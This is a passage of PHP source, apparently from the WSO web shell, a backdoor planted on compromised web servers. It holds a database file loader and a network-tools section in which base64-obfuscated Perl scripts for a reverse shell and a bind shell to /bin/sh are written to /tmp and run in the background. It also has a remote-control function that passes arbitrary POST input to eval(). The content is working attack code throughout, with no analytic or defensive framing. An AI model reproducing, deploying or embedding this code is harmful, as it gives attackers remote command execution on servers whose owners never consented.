1340 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1341 }
1342 }
1343 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1344 echo "</td></tr>";
1345 }
1346 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1347 if(@$_POST['p1'] == 'loadfile') {
1348 $file = $db->loadFile($_POST['p2']);
1349 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1350 }
1351 }
1352 echo '</div>';
1353 wsoFooter();
1354}
1355function actionNetwork() {
1356 wsoHeader();
1357 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1358 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1359 echo "<h1>Network tools</h1><div class=content>
1360 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1361 <span>Bind port to /bin/sh [perl]</span><br/>
1362 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1363 </form>
1364 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1365 <span>Back-connect [perl]</span><br/>
1366 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1367 </form><br>";
1368 if(isset($_POST['p1'])) {
1369 function cf($f,$t) {
1370 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1371 if($w) {
1372 @fwrite($w,@base64_decode($t));
1373 @fclose($w);
1374 }
1375 }
1376 if($_POST['p1'] == 'bpp') {
1377 cf("/tmp/bp.pl",$bind_port_p);
1378 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1379 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1380 }
1381 if($_POST['p1'] == 'bcp') {
1382 cf("/tmp/bc.pl",$back_connect_p);
1383 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1384 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1385 }
1386 }
1387 echo '</div>';
1388 wsoFooter();
1389}
1390function actionRC() {
1391 if(!@$_POST['p1']) {
1392 $a = array(
1393 "uname" => php_uname(),
1394 "php_version" => phpversion(),
1395 "wso_version" => VERSION,
1396 "safemode" => @ini_get('safe_mode')
1397 );
1398 echo serialize($a);
1399 } else {
1400 eval($_POST['p1']);
1401 }
1402}
1403if( empty($_POST['a']) )
1404 if(isset($default_action) && function_exists('action' . $default_action))
1405 $_POST['a'] = $default_action;
1406 else
1407 $_POST['a'] = 'SecInfo';
1408if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1409 call_user_func('action' . $_POST['a']);